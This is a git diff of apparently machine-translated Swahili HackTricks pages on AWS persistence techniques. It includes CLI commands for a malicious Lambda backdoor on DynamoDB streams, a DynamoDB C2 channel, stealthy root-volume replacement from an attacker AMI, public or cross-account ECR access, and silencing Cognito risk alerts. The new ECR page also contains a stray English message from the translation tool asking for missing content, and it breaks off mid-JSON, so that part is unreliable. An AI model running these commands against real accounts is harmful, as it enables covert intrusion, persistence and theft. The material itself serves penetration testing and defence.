Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md

@@ -1,32 +0,0 @@
-# AWS - API Gateway Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Kwa maelezo zaidi tembelea:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Sera ya Rasilimali
-
-Badilisha sera ya rasilimali ya API gateway(s) ili kujipatia ufikiaji.
-
-### Badilisha Waandishi wa Lambda
-
-Badilisha msimbo wa waandishi wa lambda ili kujipatia ufikiaji wa mwisho wote.\
-Au ondolewa matumizi ya mwandishi.
-
-### Ruhusa za IAM
-
-Ikiwa rasilimali inatumia mwandishi wa IAM unaweza kujipatia ufikiaji kwa kubadilisha ruhusa za IAM.\
-Au ondolewa matumizi ya mwandishi.
-
-### Funguo za API
-
-Ikiwa funguo za API zinatumika, unaweza kuziweka wazi ili kudumisha uendelevu au hata kuunda mpya.\
-Au ondolewa matumizi ya funguo za API.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md

@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+Kwa habari zaidi nenda kwa:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Sera ya Rasilimali
+
+Badilisha sera ya rasilimali ya API gateway(s) ili ujipe ufikiaji kwao
+
+### Badilisha Lambda Authorizers
+
+Badilisha msimbo wa lambda authorizers ili ujipe ufikiaji kwa endpoints zote.\
+Au ondoa tu matumizi ya authorizer.
+
+### Ruhusa za IAM
+
+Kama rasilimali inatumia IAM authorizer unaweza kujipa ufikiaji kwa kubadilisha ruhusa za IAM.\
+Au ondoa tu matumizi ya authorizer.
+
+### API Keys
+
+Kama API keys zinatumiwa, unaweza leak zao ili kudumisha persistence au hata kuunda mpya.\
+Au ondoa tu matumizi ya API keys.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md

@@ -1,23 +0,0 @@
-# AWS - Cloudformation Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFormation
-
-Kwa maelezo zaidi, tembelea:
-
-{{#ref}}
-../aws-services/aws-cloudformation-and-codestar-enum.md
-{{#endref}}
-
-### CDK Bootstrap Stack
-
-AWS CDK inapeleka CFN stack inayoitwa `CDKToolkit`. Stack hii inasaidia parameter `TrustedAccounts` ambayo inaruhusu akaunti za nje kupeleka miradi ya CDK kwenye akaunti ya mwathirika. Mshambuliaji anaweza kutumia hii kuwapa ufikiaji usio na kikomo kwenye akaunti ya mwathirika, ama kwa kutumia AWS cli kupeleka tena stack na parameters, au AWS CDK cli.
-```bash
-# CDK
-cdk bootstrap --trust 1234567890
-
-# AWS CLI
-aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md

@@ -0,0 +1,23 @@
+# AWS - Cloudformation Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+Kwa maelezo zaidi, angalia:
+
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+The AWS CDK inaweka stack ya CFN iitwayo `CDKToolkit`. Stack hii inaunga mkono parameter `TrustedAccounts` ambayo inaruhusu akaunti za nje ku-deploy miradi ya CDK ndani ya akaunti ya mwathiriwa. Mshambuliaji anaweza kutumia hili vibaya kujipa ufikiaji wa kudumu kwenye akaunti ya mwathiriwa, ama kwa kutumia AWS cli ku-redeploy stack kwa vigezo, au kwa kutumia AWS CDK cli.
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md

@@ -1,40 +0,0 @@
-# AWS - Cognito Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Kwa maelezo zaidi, tembelea:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### User persistence
-
-Cognito ni huduma inayoruhusu kutoa majukumu kwa watumiaji wasio na uthibitisho na watumiaji walio na uthibitisho na kudhibiti directory ya watumiaji. Mipangilio kadhaa tofauti zinaweza kubadilishwa ili kudumisha baadhi ya uvumilivu, kama vile:
-
-- **Kuongeza User Pool** inayodhibitiwa na mtumiaji kwa Identity Pool
-- Kutoa **IAM role kwa Identity Pool isiyo na uthibitisho na kuruhusu mchakato wa Basic auth**
-- Au kwa **Identity Pool iliyo na uthibitisho** ikiwa mshambuliaji anaweza kuingia
-- Au **kuboresha ruhusa** za majukumu yaliyotolewa
-- **Kuunda, kuthibitisha & privesc** kupitia sifa zinazodhibitiwa na watumiaji au watumiaji wapya katika **User Pool**
-- **Kuruhusu Watoa Huduma za Nje za Utambulisho** kuingia katika User Pool au katika Identity Pool
-
-Angalia jinsi ya kufanya vitendo hivi katika
-
-{{#ref}}
-../aws-privilege-escalation/aws-cognito-privesc.md
-{{#endref}}
-
-### `cognito-idp:SetRiskConfiguration`
-
-Mshambuliaji mwenye ruhusa hii anaweza kubadilisha usanidi wa hatari ili kuweza kuingia kama mtumiaji wa Cognito **bila kuanzisha alama za tahadhari**. [**Angalia cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) ili kuangalia chaguzi zote:
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-Kwa kawaida hii imezimwa: 
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md

@@ -0,0 +1,40 @@
+# AWS - Cognito Uendelevu
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Kwa taarifa zaidi, angalia:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Uendelevu wa watumiaji
+
+Cognito ni huduma inayoruhusu kutoa roles kwa unauthenticated na authenticated users na kudhibiti saraka ya watumiaji. Mipangilio kadhaa inaweza kubadilishwa ili kudumisha uendelevu, kama vile:
+
+- **Adding a User Pool** controlled by the user to an Identity Pool
+- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
+- Or to an **authenticated Identity Pool** if the attacker can login
+- Or **improve the permissions** of the given roles
+- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
+- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
+
+Angalia jinsi ya kufanya hatua hizi katika
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc/README.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+Mshambuliaji mwenye ruhusa hii anaweza kubadilisha risk configuration ili aweze kuingia kama mtumiaji wa Cognito **bila kusababisha alarms kuzinduliwa**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) ili kuangalia chaguzi zote:
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+Kwa chaguo-msingi hii imezimwa:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md

@@ -1,59 +0,0 @@
-# AWS - DynamoDB Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### DynamoDB
-
-Kwa maelezo zaidi tembelea:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### DynamoDB Triggers with Lambda Backdoor
-
-Kwa kutumia vichocheo vya DynamoDB, mshambuliaji anaweza kuunda **backdoor ya siri** kwa kuunganisha kazi mbaya ya Lambda na jedwali. Kazi ya Lambda inaweza kuchochewa wakati kipengee kinapoongezwa, kubadilishwa, au kufutwa, ikimruhusu mshambuliaji kutekeleza msimbo wowote ndani ya akaunti ya AWS.
-```bash
-# Create a malicious Lambda function
-aws lambda create-function \
---function-name MaliciousFunction \
---runtime nodejs14.x \
---role <LAMBDA_ROLE_ARN> \
---handler index.handler \
---zip-file fileb://malicious_function.zip \
---region <region>
-
-# Associate the Lambda function with the DynamoDB table as a trigger
-aws dynamodbstreams describe-stream \
---table-name TargetTable \
---region <region>
-
-# Note the "StreamArn" from the output
-aws lambda create-event-source-mapping \
---function-name MaliciousFunction \
---event-source <STREAM_ARN> \
---region <region>
-```
-Ili kudumisha uvumilivu, mshambuliaji anaweza kuunda au kubadilisha vitu katika meza ya DynamoDB, ambayo itasababisha kazi ya Lambda yenye uharibifu. Hii inamruhusu mshambuliaji kutekeleza msimbo ndani ya akaunti ya AWS bila mwingiliano wa moja kwa moja na kazi ya Lambda.
-
-### DynamoDB kama Kituo cha C2
-
-Mshambuliaji anaweza kutumia meza ya DynamoDB kama **kituo cha amri na udhibiti (C2)** kwa kuunda vitu vyenye amri na kutumia mifano iliyovunjika au kazi za Lambda kupata na kutekeleza amri hizi.
-```bash
-# Create a DynamoDB table for C2
-aws dynamodb create-table \
---table-name C2Table \
---attribute-definitions AttributeName=CommandId,AttributeType=S \
---key-schema AttributeName=CommandId,KeyType=HASH \
---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
---region <region>
-
-# Insert a command into the table
-aws dynamodb put-item \
---table-name C2Table \
---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
---region <region>
-```
-Mifano iliyovunjwa au kazi za Lambda zinaweza kuangalia mara kwa mara jedwali la C2 kwa amri mpya, kuzitekeleza, na kwa hiari kuripoti matokeo nyuma kwenye jedwali. Hii inamruhusu mshambuliaji kudumisha uvumilivu na udhibiti juu ya rasilimali zilizovunjwa.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md

@@ -0,0 +1,59 @@
+# AWS - DynamoDB Udumu
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### DynamoDB
+
+Kwa maelezo zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### DynamoDB Triggers with Lambda Backdoor
+
+Kwa kutumia DynamoDB triggers, mshambuliaji anaweza kuunda **backdoor ya siri** kwa kuhusisha Lambda function yenye madhara na jedwali. Lambda function inaweza kuamshwa wakati kipengee kimeongezwa, kimebadilishwa, au kimefutwa, na hivyo kumwezesha mshambuliaji kutekeleza code yoyote ndani ya akaunti ya AWS.
+```bash
+# Create a malicious Lambda function
+aws lambda create-function \
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role <LAMBDA_ROLE_ARN> \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region <region>
+
+# Associate the Lambda function with the DynamoDB table as a trigger
+aws dynamodbstreams describe-stream \
+--table-name TargetTable \
+--region <region>
+
+# Note the "StreamArn" from the output
+aws lambda create-event-source-mapping \
+--function-name MaliciousFunction \
+--event-source <STREAM_ARN> \
+--region <region>
+```
+Ili kudumisha uendelevu, mshambuliaji anaweza kuunda au kubadilisha vitu katika jedwali la DynamoDB, ambayo itachochea Lambda function hasidi. Hii inamruhusu mshambuliaji kutekeleza code ndani ya akaunti ya AWS bila kuingiliana moja kwa moja na Lambda function.
+
+### DynamoDB as a C2 Channel
+
+Mshambuliaji anaweza kutumia jedwali la DynamoDB kama **command and control (C2) channel** kwa kuunda vitu vinavyobeba amri na kutumia instances zilizoathiriwa au Lambda functions kuvichukua na kutekeleza amri hizi.
+```bash
+# Create a DynamoDB table for C2
+aws dynamodb create-table \
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region <region>
+
+# Insert a command into the table
+aws dynamodb put-item \
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region <region>
+```
+Instances zilizoathiriwa au Lambda functions zinaweza kuangalia mara kwa mara jedwali la C2 kwa amri mpya, kuzitekeleza, na kwa hiari kuripoti matokeo kwenye jedwali. Hii inamruhusu mshambuliaji kudumisha uendelevu na udhibiti juu ya rasilimali zilizoathiriwa.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md

@@ -1,54 +0,0 @@
-# AWS - EC2 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### Usalama wa Kundi la Kunganisha Ufuatiliaji wa Ustahimilivu
-
-Ikiwa mlinzi atagundua kuwa **EC2 instance ilikumbwa na shambulio** atajaribu **kuweka mbali** **mtandao** wa mashine hiyo. Anaweza kufanya hivyo kwa kutumia **Deny NACL** wazi (lakini NACL zinaathiri subnet nzima), au **kubadilisha kundi la usalama** kutoruhusu **aina yoyote ya trafiki ya kuingia au kutoka**.
-
-Ikiwa mshambuliaji alikuwa na **reverse shell iliyoanzishwa kutoka kwa mashine**, hata kama SG imebadilishwa kutoruhusu trafiki ya kuingia au kutoka, **kuunganisha hakutakatishwa kutokana na** [**Ufuatiliaji wa Kunganisha Kundi la Usalama**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-
-### Meneja wa Mzunguko wa EC2
-
-Huduma hii inaruhusu **kuandaa** **kuundwa kwa AMIs na snapshots** na hata **kuzishiriki na akaunti nyingine**.\
-Mshambuliaji anaweza kuunda **uzalishaji wa AMIs au snapshots** za picha zote au volumu zote **kila wiki** na **kuzishiriki na akaunti yake**.
-
-### Mifano ya Ratiba
-
-Inawezekana kupanga mifano kufanya kazi kila siku, kila wiki au hata kila mwezi. Mshambuliaji anaweza kuendesha mashine yenye mamlaka ya juu au ufikiaji wa kuvutia ambapo anaweza kufikia.
-
-### Ombi la Spot Fleet
-
-Mifano ya spot ni **nafuu** kuliko mifano ya kawaida. Mshambuliaji anaweza kuzindua **ombile la spot fleet dogo kwa miaka 5** (kwa mfano), kwa **ugawaji wa IP** wa kiotomatiki na **data ya mtumiaji** inayotuma kwa mshambuliaji **wakati mfano wa spot unapoanza** na **anwani ya IP** na kwa **jukumu la IAM lenye mamlaka ya juu**.
-
-### Mifano ya Backdoor
-
-Mshambuliaji anaweza kupata ufikiaji wa mifano na kuziingiza backdoor:
-
-- Kutumia **rootkit** wa jadi kwa mfano
-- Kuongeza **funguo mpya za SSH za umma** (angalia [chaguzi za EC2 privesc](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Kuingiza backdoor kwenye **Data ya Mtumiaji**
-
-### **Mipangilio ya Uzinduzi wa Backdoor**
-
-- Kuingiza backdoor AMI iliyotumika
-- Kuingiza backdoor Data ya Mtumiaji
-- Kuingiza backdoor Key Pair
-
-### VPN
-
-Unda VPN ili mshambuliaji aweze kuungana moja kwa moja kupitia hiyo hadi VPC.
-
-### VPC Peering
-
-Unda muunganisho wa peering kati ya VPC ya mwathirika na VPC ya mshambuliaji ili aweze kufikia VPC ya mwathirika.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md

@@ -0,0 +1,62 @@
+# AWS - EC2 Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+Kwa taarifa zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking Persistence
+
+Iwapo mlinzi atagundua kwamba **EC2 instance was compromised** huenda atajaribu **kutenganisha** **mtandao** wa mashine. Anaweza kufanya hivyo kwa kutumia wazi ya **Deny NACL** (lakini NACLs huathiri subnet nzima), au kwa **kubadilisha security group** ili kuto ruhusu **aina yoyote ya inbound au outbound** trafiki.
+
+Ikiwa mshambuliaji alikuwa na **reverse shell originated from the machine**, hata kama SG imebadilishwa ili kuto ruhusu inbound au outbound traffic, **connection haitauawa kutokana na** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+
+### EC2 Lifecycle Manager
+
+Huduma hii inaruhusu **kupanga** **utengenezaji wa AMIs na snapshots** na hata **kuzishare na akaunti nyingine**.\
+Mshambuliaji anaweza kusanidi **mchakato wa uzalishaji wa AMIs au snapshots** za picha zote au volumu zote **kila wiki** na **kuzishare na akaunti yake**.
+
+### Scheduled Instances
+
+Inawezekana kupanga instances ziendeshwe kila siku, kila wiki au hata kila mwezi. Mshambuliaji anaweza kuendesha mashine yenye hadhi za juu au ufikiaji wa kuvutia ambapo anaweza kupata ufikiaji.
+
+### Spot Fleet Request
+
+Spot instances ni **gharama nafuu** kuliko instances za kawaida. Mshambuliaji anaweza kuanzisha **small spot fleet request for 5 year** (kwa mfano), na upangaji wa **automatic IP** na **user data** inayomtumia mshambuliaji taarifa **wanaporudi spot instance start** pamoja na **anwani ya IP**, na ikiwa imeambatana na **high privileged IAM role**.
+
+### Backdoor Instances
+
+Mshambuliaji anaweza kupata ufikiaji wa instances na kuziweka backdoor kwa njia zifuatazo:
+
+- Kwa mfano, kutumia **rootkit** ya jadi
+- Kuongeza **public SSH key** mpya (angalia [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
+- Kuweka backdoor kwenye **User Data**
+
+### **Backdoor Launch Configuration**
+
+- Kuweka backdoor kwenye AMI inayotumika
+- Kuweka backdoor kwenye User Data
+- Kuweka backdoor kwenye Key Pair
+
+### EC2 ReplaceRootVolume Task (Stealth Backdoor)
+
+Badilisha root EBS volume ya instance inayotembea kwa ile iliyojengwa kutoka AMI au snapshot inayodhibitiwa na mshambuliaji kwa kutumia `CreateReplaceRootVolumeTask`. Instance inaendelea kuwa na ENIs, IPs, na role, ikianza kwa code yenye madhara huku ikionekana isiyobadilika.
+
+{{#ref}}
+../aws-ec2-replace-root-volume-persistence/README.md
+{{#endref}}
+
+### VPN
+
+Unda VPN ili mshambuliaji aweze kuunganishwa moja kwa moja na VPC.
+
+### VPC Peering
+
+Unda peering connection kati ya VPC ya mwathiriwa na VPC ya mshambuliaji ili aweze kufikia VPC ya mwathiriwa.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md

@@ -0,0 +1,75 @@
+# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Tumia vibaya **ec2:CreateReplaceRootVolumeTask** kubadilisha volume ya mzizi ya EBS ya instance inayotumika na ile iliyorejeshwa kutoka kwa AMI au snapshot inayodhibitiwa na mshambuliaji. Instance itareboot kwa otomatiki na itaendelea kwa filesystem ya mzizi inayodhibitiwa na mshambuliaji huku ikihifadhi ENIs, private/public IPs, volumu zilizounganishwa zisizo za mzizi, na instance metadata/IAM role.
+
+## Mahitaji
+- Instance lengwa inategemea EBS na inafanya kazi katika eneo sawa.
+- AMI au snapshot inayolingana: architecture/virtualization/boot mode sawa (na product codes, ikiwa zipo) na ile ya instance lengwa.
+
+## Ukaguzi wa awali
+```bash
+REGION=us-east-1
+INSTANCE_ID=<victim instance>
+
+# Ensure EBS-backed
+aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text
+
+# Capture current network and root volume
+ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
+ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
+ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
+```
+## Badilisha root kutoka AMI (inayopendekezwa)
+```bash
+IMAGE_ID=<attacker-controlled compatible AMI>
+
+# Start task
+TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)
+
+# Poll until state == succeeded
+while true; do
+STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
+echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
+done
+```
+Mbadala kwa kutumia snapshot:
+```bash
+SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
+aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
+```
+## Ushahidi / Uthibitisho
+```bash
+# Instance auto-reboots; network identity is preserved
+NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+
+# Compare before vs after
+printf "ENI:%s IP:%s
+ORIG_VOL:%s
+NEW_VOL:%s
+" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
+
+# (Optional) Inspect task details and console output
+aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
+aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
+```
+Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.
+
+## Vidokezo
+- API haihitaji kusitisha instance kwa mkono; EC2 huandaa reboot.
+- Kwa chaguo-msingi, root EBS volume iliyobadilishwa (ya zamani) inatenganishwa na kuachwa kwenye akaunti (DeleteReplacedRootVolume=false). Hii inaweza kutumika kwa rollback au lazima ifutwe ili kuepuka gharama.
+
+## Kurudisha / Usafishaji
+```bash
+# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
+# you can create a snapshot and replace again from it:
+SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
+aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
+aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
+
+# Or simply delete the detached old root volume if not needed:
+aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md

@@ -1,91 +0,0 @@
-# AWS - ECR Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Picha ya Docker Iliyojificha yenye Msimbo Mbaya
-
-Mshambuliaji anaweza **kupakia picha ya Docker yenye msimbo mbaya** kwenye hifadhi ya ECR na kuitumia kudumisha uendelevu katika akaunti ya AWS inayolengwa. Mshambuliaji anaweza kisha kupeleka picha hiyo mbaya kwa huduma mbalimbali ndani ya akaunti, kama vile Amazon ECS au EKS, kwa njia ya siri.
-
-### Sera ya Hifadhi
-
-Ongeza sera kwa hifadhi moja ikikupa wewe (au kila mtu) ufikiaji wa hifadhi:
-```bash
-aws ecr set-repository-policy \
---repository-name cluster-autoscaler \
---policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-"Version" : "2008-10-17",
-"Statement" : [
-{
-"Sid" : "allow public pull",
-"Effect" : "Allow",
-"Principal" : "*",
-"Action" : [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-> [!WARNING]
-> Kumbuka kwamba ECR inahitaji watumiaji kuwa na **ruhusa** ya kufanya wito kwa **`ecr:GetAuthorizationToken`** API kupitia sera ya IAM **kabla ya kuweza kuthibitisha** kwenye rejista na kusukuma au kuvuta picha yoyote kutoka kwa hifadhi yoyote ya Amazon ECR.
-
-### Sera ya Rejista & Urejeleaji wa Makaratasi Mbalimbali
-
-Inawezekana kurejeleza moja kwa moja rejista katika akaunti ya nje kwa kuunda urejeleaji wa makaratasimbalimbali, ambapo unahitaji **kuashiria akaunti ya nje** ambapo unataka kurejeleza rejista hiyo.
-
-<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
-
-Kwanza, unahitaji kutoa akaunti ya nje ufikiaji juu ya rejista kwa kutumia **sera ya rejista** kama:
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-"Sid": "asdasd",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::947247140022:root"
-},
-"Action": [
-"ecr:CreateRepository",
-"ecr:ReplicateImage"
-],
-"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-Kisha tumia usanidi wa nakala:
-```bash
-aws ecr put-replication-configuration \
---replication-configuration file://replication-settings.json \
---region us-west-2
-
-# Having the .json a content such as:
-{
-"rules": [{
-"destinations": [{
-"region": "destination_region",
-"registryId": "destination_accountId"
-}],
-"repositoryFilters": [{
-"filter": "repository_prefix_name",
-"filterType": "PREFIX_MATCH"
-}]
-}]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md

@@ -0,0 +1,145 @@
+# AWS - ECR Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Kwa taarifa zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Hidden Docker Image with Malicious Code
+
+Mshambulizi anaweza **kupakia Docker image inayobeba malicious code** kwenye ECR repository na kuitumia kudumisha persistence katika target AWS account. Mshambulizi anaweza kisha kupeleka image yenye malicious kwa huduma mbalimbali ndani ya account, kama Amazon ECS au EKS, kwa njia ya kuficha.
+
+### Repository Policy
+
+Ongeza policy kwa repository moja ikikupa wewe (au kila mtu) access kwa repository:
+```bash
+aws ecr set-repository-policy \
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+> [!WARNING]
+> Tambua kwamba ECR inahitaji watumiaji kuwa na **idhini** ya kuita API ya **`ecr:GetAuthorizationToken`** kupitia sera ya IAM **kabla ya wao kuweza kuthibitisha** kwenye registry na push au pull images yoyote kutoka kwenye Amazon ECR repository.
+
+### Sera ya Registry & Nakili Kati ya Akaunti
+
+Inawezekana kunakili moja kwa moja registry katika akaunti ya nje kwa kusanidi cross-account replication, ambapo unahitaji **kuonyesha akaunti ya nje** unayotaka kunakili registry.
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+Kwanza, unahitaji kumpa akaunti ya nje ufikiaji wa registry kwa **sera ya registry** kama:
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+I don't have the README.md content or the replication config. Please paste the README.md text and the replication config you want applied. I will then translate the relevant English to Swahili, preserving all markdown/html tags, links, paths and code as you requested.
+```bash
+aws ecr put-replication-configuration \
+--replication-configuration file://replication-settings.json \
+--region us-west-2
+
+# Having the .json a content such as:
+{
+"rules": [{
+"destinations": [{
